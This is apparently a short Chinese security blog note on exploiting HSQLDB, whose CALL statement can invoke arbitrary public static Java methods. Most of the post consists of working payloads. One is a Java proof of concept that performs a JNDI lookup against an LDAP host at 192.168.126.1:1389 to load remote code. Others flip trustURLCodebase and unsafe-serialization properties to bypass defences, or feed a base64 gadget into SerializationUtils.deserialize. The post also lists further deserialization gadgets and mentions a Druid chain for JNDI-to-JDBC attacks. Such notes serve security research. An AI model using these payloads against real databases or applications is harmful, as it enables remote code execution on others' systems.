hsql
1diot9 Lv5

直接看例子吧:

1
2
3
4
5
6
7
8
public class Test01 {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class<?> aClass = Class.forName("org.hsqldb.jdbc.JDBCDriver");
String dburl = "jdbc:hsqldb:mem";
Connection connection = DriverManager.getConnection(dburl, "sa", "");
connection.prepareStatement("CALL \"javax.naming.InitialContext.doLookup\"('ldap://192.168.126.1:1389/0r1wr1')").executeQuery();
}
}

漏洞原因是,hsql查询时可以调用任意public static 方法。上面的就是调用doLookup,实现JNDI注入。

在高版本下,JNDI可能被禁用,这时候也可以通过重新覆盖字段来绕过:

1
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')

当然,如果找到了类似deserialize等二次反序列化的函数,也可以直接用,payload类似:

1
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0A....'))

下面记录一下可以用的二次反序列化函数。

spring-core:org.springframework.util.ReflectUtils#defineClass 字节码加载

org.springframework.util.SerializationUtils.deserialize 二次反序列化

下面两个在5版本的hsql中测试失败,3、4版本的没测试:

CALL org.hsqldb.util.ScriptTool.main

org.hsqldb.lib.InOutUtil.deserialize

另外,hsql还可以结合druid来扩大攻击面,实现jndi到jdbc攻击。这里面利用的是druid里的一个工厂类。利用这个工程类,能够实现高版本jndi+jdbc攻击。

参考

HSQLDB 安全测试指南 - 浅蓝 ‘s blog

CVE-2022-41853 分析:通过 Java 反序列化和远程代码库攻击使用静态函数获取 RCE | CN-SEC 中文网

关于hsqldb反序列化漏洞的一些思考-先知社区

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 182.7k 访客数 访问量